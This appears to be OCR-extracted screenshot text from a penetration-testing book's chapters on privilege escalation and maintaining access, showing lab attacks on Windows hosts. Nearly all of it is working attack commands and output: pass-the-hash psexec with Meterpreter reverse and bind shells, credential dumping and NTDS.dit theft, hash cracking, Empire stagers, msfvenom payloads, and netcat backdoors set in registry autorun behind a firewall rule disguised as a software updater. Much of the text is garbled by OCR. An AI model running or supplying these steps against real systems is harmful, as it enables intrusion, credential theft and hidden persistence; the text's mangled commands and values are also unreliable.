6 post/windows/gather/[ilGHSEES/browser history normal No Windows Gather Skyp

e, Firefox, and Chrome Artifacts
Interact with a module by name or index. For example info 6, use 6 or use post/windows/gather/forensics/
browser history

msf6 > i

msf6 exploit(windows/smb/psexec) > use 1
msf6 post(windows/gather/forensics/recovery_files) > show options

Module options (post/windows/gather/forensics/recovery files):

Name Current Setting Required Description

DRIVE G: yes Drive you want to recover files from.

FILES no ID or extensions of the files to recover in a comma separated w
ay. Let empty to enumerate deleted files.

SESSION 2 yes The session to run this module on.

TIMEOUT 3600 yes Search timeout. If © the module will go through the entire $MFT

msf6 post(windows/gather/forensics/recovery_files) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/forensics/recovery_files) > |}



System Info - 0S: Windows 7 (6.1 Build 7600)., Drive: C:
$MFT is made up of 2 dataruns

Searching deleted files in data run 2 ...
Name: CabA6CA.tmp ID: 11297081344

Name: TarA6CB.tmp ID: 11297082368

Name: {C1699~1.REG 1ID: 11297084416

Name: {CCA17~1.REG 1ID: 11297086464

Name: {CEC5D~1 ID: 11297087488

Name: {CE7B3~1.L0G ID: 11297088512

Name: {C7257~1.L0G 1ID: 11297089536

Name: {CEOBD~1.BLF ID: 11297090560

Name: {C3CE2~1.REG 1ID: 11297091584

Name: {CF702~1.REG ID: 11297092608

Name: {CFF1lE~1 ID: 11297093632

Name: {C5B69~1.L0G ID: 11297094656

Name: {CO16E~1.LOG 1ID: 11297095680

Name: {C99C1~1.BLF 1ID: 11297096704

* *

*

e R L o L F e D e e e F e e H e B e K e B B B o

% % % ¥ % % ¥ ¥ % ¥ % ¥ % *

B T T T J Gy —

msf6 post(windows/gather/forensics/recovery_files) > set FILES 112976081344
FILES => 11297081344
msf6 post(windows/gather/forensics/recovery_files) > run

SESSION may not be compatible with this module (missing Meterpreter features: stdapi sys process set
_term size)
[*] System Info - 0S: Windows 7 (6.1 Build 7660)., Drive: C:
[*] File to download: CabA6CA.tmp
[*] The file is not resident. Saving CabA6CA.tmp ... (60992 bytes)
File saved on /home/kali/.msf4/1lo0t/20220401123730 default 192.168.108.153 nonresident.file 066742.t
mp
[*] Post module execution completed
msf6 post(windows/gather/forensics/recovery_files) >

meterpreter > run post/windows/gather/enum_ie

[*] IE Version: 8.0.7600.16385
[*] Retrieving history.....
File: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.I
E5\index.dat
[*] Retrieving cookies.....
File: C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\index.d
at
[*] Looping through history to find autocomplete data....
[-] No autocomplete entries found in registry
[*] Looking in the Credential Store for HTTP Authentication Creds...

meterpreter > i



msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting
RHOSTS 192.168.108.153
RPORT 445

SERVICE DESCRIPTION

SERVICE DISPLAY NAME
SERVICE NAME

Required

yes

no
no
no

aad3b435b51404eeaad3b no

no

SMBDomain OFFICEADMIN-PC

SMBPass
435b51404ee:e2b54f8bf
824d32772e5c9c7846940
21

SMBSHARE

SMBUser Phil

no

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting

EXITFUNC thread yes
LHOST 192.168.108.211 vyes
LPORT 4444 yes

Exploit target:
Id Name

0 Automatic

msf6 exploit(windows/smb/psexec) > JJ

Required Description

Exit technique (Accepted:

ne)

Description

The target host(s), see https://gith
ub.com/rapid7/metasploit-framework/w
iki/Using-Metasploit

The SMB service port (TCP)

Service description to to be used on
target for pretty listing

The service display name

The service name

The Windows domain to use for authen
tication

The password for the specified usern
ame

The share to connect to, can be an a
dmin share (ADMIN$,C$,...) or a norm
al read/write folder share

The username to authenticate as

‘', seh, thread, process, no

The listen address (an interface may be specified)

The listen port



msfé exploit(windows/smb/psexec) > run

] Started
] 192.168.
] 192.168.
] 192.168.
] 192.168.
192.168.
able...

[*] Sending

— —r— ——
* O ¥ ¥ ¥

TCP
1445 -
1445 -
1445 -
1445 -
1445 -

reverse
108.153
108.153
108.153
108.153
108.153

stage (175174

handler on 192.168.108.211:4444

Connecting to the server...

Authenticating to 192.168.108.153:445|0FFICEADMIN-PC as user 'Phil’...
Selecting PowerShell target

Executing the payload...

Service start timed out, OK if running a command or non-service execut

bytes) to 192.168.108.153

[*] Meterpreter session 4 opened (192.168.108.211:4444 -> 192.168.108.153:50370) at 2022-04-01 1
6:19:20 -0400

meterpreter > ipconfig

Interface 1
Name
Hardware MAC
MTU

IPv4 Address :
IPv4 Netmask :
IPv6 Address :

IPv6 Netmask

Interface 11
Name
Hardware MAC
MTU

IPv4 Address :
IPv4 Netmask :

IPvb Address

IPv6 Netmask :

: Software Loopback Interface 1
: 00:00:00:00:00:00

1 4294967295
127.0.0.1
255.0.0.0
.-1

© FFFFiFFFfiFFff: FRFF: FRFF: FFFF: FRFFLFFFF

: Intel(R) PRO/1006 MT Network Connection
: 00:0c:29:82:4b:a9

: 1500

192.168.249.153
255.255.255.0

: feB80::2822:ebb61:b315:2397

FEFfeffff:ffffeffff::

SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against OFFICEADMIN-PC
[*] Searching for subnets to autoroute.

Route added to subnet 192.168.108.0/255.255.255.0 from host's routing table.

Route added to subnet 192.168.249.0/255.255.255.0 from host's routing table.

Route added to subnet 169.254.0.0/255.255.0.0 from Bluetooth Device (Personal Area Network).
meterpreter > i




—
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RHOSTS => 192.168.249.0/24

msf6 auxiliary(scanner/portscan/tcp) > set THREADS 100
THREADS => 100

msf6 auxiliary(scanner/portscan/tcp) > set PORTS 21
PORTS => 21

msf6 auxiliary(scanner/portscan/tcp) > run

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

249.0/24: - Scanned 97 of 256 hosts (37% complete)
249.154: - 192.168.249.154:21 - TCP OPEN

249.0/24: - Scanned 99 of 256 hosts (38% complete)
249.0/24: - Scanned 101 of 256 hosts (39% complete)
249.0/24: - Scanned 103 of 256 hosts (40% complete)
249.0/24: - Scanned 196 of 256 hosts (76% complete)
249.0/24: - Scanned 197 of 256 hosts (76% complete)
249.0/24: - Scanned 200 of 256 hosjts (78% complete)
249.0/24: - Scanned 206 of 256 hosts (80% complete)
249.0/24: - Scanned 234 of 256 hosts (91% complete)
249.0/24: - Scanned 256 of 256 hosts (100% complete)

Auxiliary module execution completed

6 auxiliary(scanner/portscan/tcp) > |}

msfé auxiliary(scanner/portscan/tcp) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

-L <opt>

-R

-h

-1 <opt>

-1 <opt>

-p <opt>
<opt>

Forward: local host to listen on (optional). Reverse: local host to connect to.
Indicates a reverse port forward.

Help banner.

Index of the port forward entry to interact with (see the "list" command).
Forward: local port to listen on. Reverse: local port to connect to.

Forward: remote port to connect to. Reverse: remote port to listen on.

-r Forward: remote host to connect to.
meterpreter > i

meterpreter > portfwd add -L 192.168.108.211 -1 1066 -p 21 -r 192.168.249.154
[*] Local TCP relay created: 192.168.108.211:1066 <-> 192.168.249.154:21

meterpreter > i

—(kali® kali) - [~]
—$ nc 192.168.108.211 1066
SSH-2.0-CoreFTP-0.3.3

TGP

192.168.24%.154:21 192.168.249.153:51343 ESTABLISHED



meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089cO: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTe0d16ae931b73¢c59d7e0c089cO: : :
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee: 2421b92d1da8bef45d7be0d8f3de61d3:::
Phil:1000:aad3b435b51404eeaad3b435b51404ee: e2b54T8bT824d32772e5¢c9c784694021:

meterpreter > |§

msf6 exploit(windows/smb/psexec) > run

[*] 192.168.108.153:445 - Connecting to the server...
[*] 192.168.108.153:445 - Authenticating to 192.168.108.153:445 as user 'Phil’'...
[*] 192.168.108.153:445 - Selecting PowerShell target
[*] 192.168.108.153:445 - Executing the payload...
192.168.108.153:445 - Service start timed out, OK if running a command or non-service executab

].étarted bind TCP handler against 192.168.108.153:4444

] Sending stage (175174 bytes) to 192.168.108.153

] Meterpreter session 1 opened (192.168.108.211:33625 -> 192.168.108.153:4444) at 2022-04-01 23:
6:16 -0400

meterpreter > run post/multi/manage/autoroute

SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against OFFICEADMIN-PC
[*] Searching for subnets to autoroute.
Route added to subnet 192.168.108.0/255.255.255.0 from host's routing table.
Route added to subnet 192.168.249.0/255.255.255.0 from host's routing table.
Route added to subnet 169.254.0.0/255.255.0.0 from Bluetooth Device (Personal Area Network).

meterpreter > background
[*] Backgrounding session 1.

msf6 exploit(windows/smb/ psexec) > set RHOSTS 192.168.249.130
RHOSTS => 192.168.249.130
msf6 exploit(windows/smb/psexec) > run

] 192.168.249.130:445 - Connecting to the server...
] 192.168.249.130:445 - Authenticating to 192.168.249.130:445 as user 'Phil'...
] 192.168.249.130:445 - Selecting PowerShell target
] 192.168.249.130:445 - Executing the payload...
192.168.249.130:445 - Service start timed out, OK if running a command or non-service executab

le...

[*] Started bind TCP handler against 192.168.249.130:4444

[*] Sending stage (175174 bytes) to 192.168.249.130

[*] Meterpreter session 2 opened (192.168.249.129:49239 -> 192.168.249.130:4444) at 2022-04-01 23:
57:05 -0400

meterpreter > ||

meterpreter > portfwd add -1 1067 -p 21 -r 192.168.249.128
[*] Local TCP relay created: :1067 <-> 192.168.249.128:21

meterpreter > [J

kali@kali: ~

File Actions Edit View Help

—(kali® kali) - [~]
L—S nc 127.0.0.1 1067
SSH-2.0-CoreFTP-0.3.3



Chapter 16: Escalating Privileges

Pipe server

f CreateNamePipe

Jt Named Pipe j[: Pipe client

Armitage - O x

Armitage View Hosts Attacks Workspaces Help

> (&5 auxiliary
> @ exploit |||
> (&5 payload
> @ post
Pass the Hash e ® &
user 4| pass | host
1
|
1 User :(;lg-'/e B o =

|

YOKNET

[#]

[*] OO YOl o [ IS [ | Check all credentials
[ : Too many fi@

[*] P %l [ Use reverse connection

[k : Nmap scan

[x] : Host is up Launch

[*] : All 100 scanned ports on 192.168.63.154 are cLoSed

[*] : Too many fingerprints match this host to give specific 0S details

[#] : Network Distance: 0 hops

[*] : 0S and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .

[*] Nmap: Nmap done: 256 IP addresses (8 hosts up) scanned in 54.36 seconds

msf >



Armitage © 00

Armitage View Hosts Attacks Workspaces Help

> (& auxiliary
> (& exploit
> [ payload
> @ post

192. 168 63 1 192.168.63.2
NT AUTHORITY\SYSTEM Q@ YOKNET MATTAWAN

a v

[Console XT nmap X T explmt X ]
mst exploit(w: :c) > exploit -j

[*] Exploit runn1ng as background job 1.

[*] Started bind handler

[*] 192.168.63.148:445 - Connecting to the server...

[*] 192.168.63.148:445 Authenticating to 192.168.63.148:445|YOKNET as user
'Administrator'...

[*] 192.168.63.148:445 - Selecting PowerShell target

[*] 192.168.63.148:445 - Executing the payload...

[+] 192.168.63.148:445 - Service start timed out, OK if running a command or
non-service executable.

[*] Sending stage (179779 bytes) to 192.168.63.148

[*] Meterpreter session 1 opened (192.168.63.154:42337 -> 192.168.63.148:18842) at
2018-07-16 01 34 -0400

msf exploit (w: s/smb c) >




Armitage @ o 9‘

Armitage View Hosts Attacks Workspaces Help

» (& auxiliary
> & exploit
» (& payload

b @ post

—

192.168.63.1 192.168.63.2
NT AUTHORITY\SYSTEM @ YOKNET-MATTAWAN

av

[ Con;)le XT nmap X T exploit X T cmd.exe 2816@1 X ]

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::916d:fbca:b642:3cf3%18
IPv4 Address. . . . . . . . . . . : 10.108.108.254

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 10.108.108.1

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain

Link-local IPv6 Address . . . . . : fe80::1d53:38cb:71a2:elfa%1l1l

IPv4 Address. . . . . . . . . . . : 192.168.63.148

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.63.2
C:\Windows\system32>

AddPivt @ @ ©

host | mask

10.108.108.0 255.255.255.0
192.168.63.0 259:255.255.0

[ Add Pvot |




Armitage (— O} 63‘

Armitage View Hosts Attacks Workspaces Help

v (& post A ‘
v (& multi )
v (& gather ‘
[ apple_ios_backup 192.168.63.148
D check_malware NT AUTHORITY\SYSTEM @ YOKNET-MATTAWAN =
[ dbvis_enum 192.168.63.254

192.168.63.154

[ dns_bruteforce

[ dns_reverse_lookup

[ dns_srv_lookup T

[ enum_vbox

[ env L =3
L [ filezilla_client cred " 10.108.108.20

192.168.63.2 192.168.63.1

A v

[Console X | exploit XIcmd.exe2816@1 XTScan X]

5985, 5986, 6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 47001, 523, 3500, 6379, 8834
msf auxiliary( I ) > run -j

[*] Auxiliary module running as background job 3.

[+] .108.108.15: .108.108.15:139 - TCP OPEN
[+] .108.108.15: .108.1068.15:135 TCP OPEN
[+] .108.108.21: .108.108.21:135 TCP OPEN
[+] .108.108.21: .108.108.21:139 TCP OPEN
[+] .108.108.20: .108.108.20:135 TCP OPEN
[+] .108.108.20: .108.108.20:139 TCP OPEN
[+] .108.108.20: .108.108.20:445 TCP OPEN
[+] .108.108.15: .108.108.15:445 TCP OPEN
[+] .108.108.21: .108. .21:445 TCP OPEN

msf auxiliary( ) ) / ) (S

Module options (exploit/windows/local/ms13 053 schlamperei):

Name Current Setting Required Description

SESSION The session to run this module on.

Exploit target:

Id Name

® Windows 7 SPO/SP1

msf exploit( ) > set SESSION 2
SESSION => 2
msf exploit( ) > exploit

Started reverse TCP handler on 192.168.63.154:4444
Launching notepad to host the exploit...
Process 2952 launched.
Reflectively injecting the exploit DLL into 2952...
Injecting exploit into 2952...
Found winlogon.exe with PID 492
Sending stage (179779 bytes) to 192.168.63.146
[+] Everything seems to have worked, cross your fingers and wait for a SYSTEM shell
Meterpreter session 3 opened (192.168.63.154:4444 -> 192.168.63.146:49162) at 2018-07-16 12:44:31 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > [




Microsoft Windows [Uersion 6.1.76011
[Copyright (c> 2089 Microsoft Corporation. All rights reserved.

1
[C:\Users\Administrator>umic
fwmic iroot\cli>useraccount list /format:list

AccountType=512

Description=Built—in account for administering the computer/domain
Disabhled=FALSE

Doma in=YOKNET

FullName =

{InstallDate=

LocalAccount=FALSE

Lockout =FALSE

Name=Administrator

PasswordChangeable=TRUE

PasswordExpires=TRUE

[PasswordRequired=TRUE
SID=8-1-5-21-3848942459-2584001754-2623135680-5600
SIDType=1

[Status=0K

[AccountType=512

Description=Built—in account for guest access to the computer/domain
Disabled=TRUE

Domain=YOKNET

FullName =

{InstallDate=

LocalAccount=FALSE

Lockout =FALSE

Name =Guest

PasswordChangeable=FALSE

PasswordExpires=FALSE

PasswordRequired=FALSE
SID=8-1-5-21-3048942459-25840801754-2623135688-5061
SIDType=1

IStatus=Degraded

umic :root\cli>/node:192.168.63.148 /user:YOKNET\Administrator computersystem list bhrief /format:list
Entel‘ the pass*,o};d = FEFEFEFEFHFIIEIEIEIEIEIEHE

Domain=yoknet.com
Manufacturer=UMuare,. Inc.
Mode1=UMware Uirtual Platform
Name =YOKNET-MATTAWAN
PrimaryOunerName=Windows User
TotalPhysicalMemory=8589332480

wmic iroot\clid>/node:192.168.63.148 /user:YOKNET\Administrator path win32_process call create "calc.exe"
Enter the password :36ec000006000660¢

Execute (win32_processd>—>create(d (¥Y/N>?Y¥
Method execution successful.

Out Parameters:

%nstance of __ PARAMETERS

Processld = 2488;
ReturnVUalue = 8;

>3



it Windows Task Manager i =10] x|
File Options View Help

Applications Processes | services | Performance | Networking | Users |

Csrss.exe
csrss.exe SYSTEM 00 7,384K Client Server Runti...
dfsrs.exe SYSTEM 00 8,856 K Distributed File Sys...
dfssvc.exe SYSTEM 00 2,792K Windows NT Distrib...
dllhost.exe SYSTEM 00 3,772K COM Surrogate T
dns.exe SYSTEM 00 157,524K Domain Name Syst...
dwm.exe Administrator 00 1,560 K Desktop Window M...
explorer.exe Administrator 00 26,632K Windows Explorer
ismserv.exe SYSTEM 00 2,632K Windows NT Intersi...
|sass.exe SYSTEM 00 21,020K Local Security Auth...
Ism.exe SYSTEM 00 1, 700K Local Session Mana...
ManagementA... SYSTEM 00 3,236 K ManagementAgent...
Microsoft.Acti... SYSTEM 00 17,988 K Microsoft.ActiveDir...
msdtc.exe NETWORK SER... 00 3,092K Microsoft Distribute...
services.exe SYSTEM 00 4,892 K Services and Contr... l.l
[V Show processes from all users End Process |
PProcesses: 42 iCPU Usage: 0% jirPhysicaI Memory: 12% 7

(Empire) > listeners

rListeners List
ID | Name | Module | Listener Category | Created At Enabled

1 WMIC | http client server 2022-04-05 21:49:47 EDT (49 seconds ago) | True

(Empire: listeners) > i

(Empire: usestager/windows/launcher bat) > set Listener WMIC
[*] Set Listener to WMIC
(Empire: usestager/windows/launchgr_bat) > execute

(Empire: usestager/windows/launcher bat) > [

mmicirootsncli>/node:192_ 168188 154 Auser:yoknet™Administrator path wind2_proces
QARQAZAGHMAYwA1ADBATgB1AHcALQBEPAGIASgBIAGMAVAAgAFMAeQB=AFQARGBNACAAT gBFAFQALgBRA
ABBAHIARwB=AD=AJABTADBAMAAuAC4AMgA1ADUAOWALACAA LyA vADUANGBEACUAe wAkAEo APQACcACQAS
Enter the password I3

Execute (wind2_processi—2create() (Yr/HITY
ethod execution successful.

Out Parameters:
instance of __PARAMET ERS

Processld = 2284;
ReturnVUalue = @;




(Empire: RE8UA3S5) > shell tasklist
[*] Tasked RE8S8UA3S5 to run Task 1
[*] Task 1 results received

PID ProcessName Arch UserName MemUsage
0 Idle x64  N/A 0.02 MB
4 System x64  N/A 0.31 MB
156  taskhostex x64  yoknet\Administrator 6.19 MB
448  smss x64  NT AUTHORITY\SYSTEM 0.95 MB
500 svchost x64  NT AUTHORITY\LOCAL SERVICE 11.02 MB
528 csrss x64  NT AUTHORITY\SYSTEM 3.74 MB
532 explorer x64  yoknet\andersonn8 45.92 MB
580 wininit x64  NT AUTHORITY\SYSTEM 3.28 MB
588 csrss x64  NT AUTHORITY\SYSTEM 12.87 MB
616 winlogon x64  NT AUTHORITY\SYSTEM 8.44 MB
684 services x64  NT AUTHORITY\SYSTEM 9.56 MB
692 lsass x64  NT AUTHORITY\SYSTEM 37.77 MB
724  svchost x64  NT AUTHORITY\SYSTEM 38.61 MB
752  svchost x64  NT AUTHORITY\NETWORK SERVICE 11.53 MB
856  svchost x64  NT AUTHORITY\SYSTEM 8.26 MB
900 svchost x64  NT AUTHORITY\NETWORK SERVICE 6.53 MB
924  msdtc x64  NT AUTHORITY\NETWORK SERVICE 6.83 MB
976  svchost x64  NT AUTHORITY\LOCAL SERVICE 14.02 MB
1004 dwm x64  Window Manager\DWM-1 29.41 MB
1084 svchost x64  NT AUTHORITY\NETWORK SERVICE 17.77 MB
1184 svchost x64  NT AUTHORITY\NETWORK SERVICE 2.81 MB
1204 svchost x64  NT AUTHORITY\LOCAL SERVICE 12.25 MB

Empire: RE8BUA3S5) > steal token 1704
*] Tasked RE8BUA3S5 to run Task 2

*] Task 2 results received

unning As: yoknet\SYSTEM

T = ——

Invoke-TokenManipulation completed!

Use credentials/tokens with RevToSelf option to revert token privileges
(Empire: RESUA3S5) > [}

NUserssAdministratorPussadnin
ggadmin 1.1 — Uolume Shadow Copy Service administrative command—line tool
(C> Copyright 28601-2012 Microsoft Corp.

Error: Invalid command.
——— Commands Supported ————

Add ShadowStorage
reate Shadow
Delete Shadows
Delete ShadowStorage
ist Providers

izt Shadouws

ist ShadowStorage
izt Uolumes

ist Writers

esize ShadowStorage

Add a new volume shadow copy storage association
Create a new volume shadow copy

Delete volume shadow copies

Delete volume shadow copy storage associations
List registered volume shadow copy providers
List existing volume shadow copies

List volume shadow copy storage associations
List volumes eligible for shadow copies

List subscribed volume shadow copy writers
Resize a volume shadow copy storage association
Revert a volume to a shadow copy

Query the progress of in—progress revert operations.

(A T T A I O |

Query Reverts




C:\Users\Administrator>vssadmin Create Shadow /For=C:
vssadmin 1.1 — Uolume Shadow Copy Service administrative command—line tool
(C> Copyright 2001-28B5 Microsoft Corp.

Successfully created shadow copy for *C:\’
Shadow Copy ID: {83951d15-3752-47f5-8390-61f1f0Belf?0f>
Shadow Copy Uolume Name: \\?\GLOBALROOT\Device\HarddiskUolumeShadowCopy3

C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskUolumeShadowCopy3\Wind
ows\NTDS\NTDS .dit c:\windows\temp
1 file{(s) copied.

C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskUolumeShadowCopy3\Wind
ows\system32\conf ig\S¥STEM c:\windouws\temp
1 file{(s) copied.

[:—(ﬁJJ w kali)-[/]
# mount -t cifs //192.168.108.154/C$ -o username=Administrator /mnt
Password for Administrator@//192.168.108.154/C$:

[:ﬁ(rﬁﬁin-kﬂlj)-[/]

# cd /mnt

[:f(y@nta-kali)-[/mnt]

'$Recycle.Bin’ inetpub ‘Program Files' Users
'Program Files (x86)' Windows
PerflLogs ‘System Volume Information'
'Documents and Settings' ProgramData

(root« kal i )-[/mnt]
-



roots kali)-[~
[?% kali)-[~]

# esedbexport -m tables ntds.dit
esedbexport 20220129

Opening file.
Database type: Unknown.

Exporting
Exporting
Exporting
Exporting
Exporting
Exporting
Exporting
Exporting
Exporting
Exporting
Exporting
Exporting
Exporting

table
table
table
table
table
table
table
table
table
table
table
table
table

(MSysObjects) out of 13.
(MSysObjectsShadow) out of 13.
(MSysObjids) out of 13.
(MSysLocales) out of 13.
(datatable) out of 13.
(hiddentable) out of 13.

(link table) out of 13.
(sdpropcounttable) out of 13.
(sdproptable) out of 13.

10 (sd table) out of 13.

11 (MSysDefrag2) out of 13.

12 (quota table) out of 13.

13 (quota rebuild progress table) out of 13.

OO~ UT o WN =

Export completed.

[:—(roots~ka1i)-[~]
#

1s

TR 1t .
NTAS.QltT

ntds.dit.export SYSTEM

[:;(roota~kali)-[~]
i}



Record ID: 4048

User name: Nicholas Anderson

User principal name: andersonn8@corp.YOK.net

SAM Account name: andersonn8

SAM Account type: SAM_NORMAL_USER ACCOUNT

GUID: 63cedeb0-b5ff-4c92-a7cO-eaddell58a85
SID: S-1-5-21-2410217141-3476789712-3945161230-1106
When created: 2022-04-04 23:51:24+00:00

When changed: 2022-04-05 14:44:36+00:00

Account expires: Never

Password last set: 2022-04-04 23:51:24.829937+00:00
Last logon: 2022-04-05 13:59:13.441837+00:00
Last logon timestamp: 2022-04-05 13:59:13.441837+00:00

Bad password time Never

Logon count: 1

Bad password count: 0
Dial-In access perm: Controlled by policy
User Account Control:
NORMAL_ACCOUNT
Ancestors:
$ROOT OBJECT$, net, YOK, corp, Users, Nicholas Anderson
Password hashes:
andersonn8: : :336T2dba9th9eae922064467e90f114e:5-1-5-21-2410217141-3476789712-394516
1230-1106::

Record ID: 4049

User name: Sonia Israetel

User principal name: israetels6@corp.YOK.net

SAM Account name: israetels6

SAM Account type: SAM_NORMAL_USER_ACCOUNT

GUID: ef2991a7-16b2-4a9c-af64-8170a%9e05148

SID: S-1-5-21-2410217141-3476789712-3945161230-1107
When created: 2022-04-05 00:00:34+00:00

When changed: 2022-04-05 14:44:36+00:00

Account expires: Never

Password last set: 2022-04-05 00:00:34.021517+00:00 I
Last logon: Never =

Last logon timestamp: Never
Bad password time 2022-04-05 14:02:17.465415+00:00
Logon count: 0
Bad password count: 3
Dial-In access perm: Controlled by policy
User Account Control:
NORMAL ACCOUNT
Ancestors:
$ROOT _OBJECT$, net, YOK, corp, Users, Sonia Israetel
Password hashes:
israetels6:::2ab4c106b80d147d907b2fa33f439%9e4a:5-1-5-21-2410217141-3476789712-394516
1230-1107::

Record ID: 4050

User name: Sophia Pants

User principal name: pantss7@corp.YOK.net
SAM Account name: pantss7

SAM Account type: SAM_NORMAL USER ACCOUNT

GUID: ded7533b-687d-45a6-8554-c465e662T64c



[:—(rootm'kali)-[~]

# john --fork=2 nt.txt

Using default input encoding: UTF-8

Loaded 7 password hashes with no different salts [NT [MD4 32/32])

Node numbers 1-2 of 2 (fork)

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

Almost done: Processing the remaining buffered candidate passwords, if any.

1: Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performanc
e.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Pa55wOrd? (Administrator)



Chapter 17: Maintaining Access

[:-(rootn-kali)-[/home/kali]
# msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.108.211 LPORT=10000 -T exe >
persist.exe
[-1 No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-]1 No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

[:—(Eootn-kali)-[/home/kali]
#

msf6 post(windows/manage/persistence_exe) > set REXENAME updater.exe

REXENAME => updater.exe

msfé post(windows/manage/persistence _exe) > set REXEPATH /home/kali/persist.exe
REXEPATH => /home/kali/persist.exe

msf6 post(windows/manage/persistence_exe) > set SESSION 1

SESSION => 1

msf6 post(windows/manage/persistence_exe) > run

[*] Running module against OFFICECO-DC1
[*] Reading Payload from file /home/kali/persist.exe
Persistent Script written to C:\Windows\TEMP\updater.exe
[*] Executing script C:\Windows\TEMP\updater.exe
Agent executed with PID 2940
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dsKKSNrIP
VmyN
Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dsKKSNrIPV
myN
[*] Cleanup Meterpreter RC File: /root/.msf4/logs/persistence/OFFICECO-DC1 20220411.2054/0F
FICECO-DC1 20220411.2054.rc
[*] Post module execution completed I
msf6 post(windows/manage/persistence_exe) > [ =

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.108.211:10000

[*] Sending stage (175174 bytes) to 192.168.108.154

[*] Meterpreter session 1 opened (192.168.108.211:10000 -> 192.168.108.154:51939 ) at 2022-
04-11 15:28:31 -0400

(Empire:



) > set Agent SKD217BV
) > set Listener listen

) > execute

) > set Agent TANUBDG6P

) > set Listener listen

) > execute

meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32

[*] uploading : /usr/share/windows-binaries/nc.exe -> C:\Windows\system32

[*] uploaded : /usr/share/windows-binaries/nc.exe -> C:\Windows\system32\nc.exe
meterpreter > reg setval -k HKLM\\SOFTWAREA\Microsoft\\Windows\\CurrentVersion\\Run -v nc -
d 'C:\Windows\system32\nc.exe -Ldp 9009 -e cmd.exe'

Successfully set nc of REG SZ.

meterpreter > i



meterpreter > shell
Process 2416 created.

Channel 3 created.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Windows\system32>netsh advfirewall firewall add rule name="Software Updater" dir=in acti
on=allow protocol=TCP localport=9009

netsh advfirewall firewall add rule name="Software Updater" dir=in action=allow protocol=TC
P localport=9009

0k.

C:\Windows\system32>}i

[:—(roota-kali)-[/home/kali]

# nc -v 192.168.108.154 9009

192.168.108.154: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.108.154] 9009 (?) open

Microsoft Windows [Version 6.2.9200]

(c) 2012 Microsoft Corporation. All rights reserved.

C:\Windows\SysWowe4>li

[:—(roota'kali)-[/home/kali]
# powersploit
> powersploit ~ PowerShell Post-Exploitation Framework
/usr/share/windows-resources/powersploit

| ---AntivirusBypass

| - - -CodeExecution
| ---Exfiltration
| - --Mayhem
| ---Persistence
| - --PowerSploit.psdl
| ---PowerSploit.psml
| ---Privesc
|
|
|
|

- - -README . md
--Recon
---ScriptModification
---Tests
[:—(roota'kali)-[/usr/share/windows-resources/powersploit]
# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)



Directory listing for /Persistence/ X +

C O & 192.168.108.211:8000/Persistence/

Directory listing for /Persistence/

e Persistence.psdl
e Persistence.psml

e Usage.md

C:\Users\bramw > 1
C:\Users\bramw\Documents\WindowsPowerShell\Modules;C:\ProgramData\FEVM;C:\ProgramData\Boxstarter;C:\Program Files\Window

File Home Share View
€ > v 1+ B < vi0o > Mo.. »

B Resources Name

B SchCache NetworkLoadBalancingClusters
B schemas NetworkSwitchManager

B security NetworkTransition

NFS

PcsvDevice

B ServiceProfiles
l ServiceState .

Persistence
B servicing

106 items | 1 item selected |

PS C:\Users\bramw > Get-Help Persistence

Name Category Module

New-ElevatedPersistenceOption Function Persistence
New-UserPersistenceOption Function Persistence
Add-Persistence Function Persistence




[:—(l“ <ali)-[/home/kali]
i N -p windows/meterpreter/reverse tcp LHOST=192.168.108.211 LPORT=1066 -T psh > p

er51st.psl
[-1 No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-1 No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of psh file: 2499 bytes

--1a1 ) [/home/kali]

# 3 -m http.server

Serv1ng HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

192.168.108.245 - - [12/Apr/2022 13:21:05] "GET / HTTP/1.1" 200 -
192.168.108.245 - - [12/Apr/2022 13:21:08] "GET /persist.psl HTTP/1.1" 200 -

COMMANDO 4/12/2022 1:28:09 PM

PS C:\Users\bramw\Downloads > Import-Module Persistence

COMMANDO 4/12/2022 1:28:18 PM

PS C:\Users\bramw\Downloads > $userop New-UserPersistenceOption

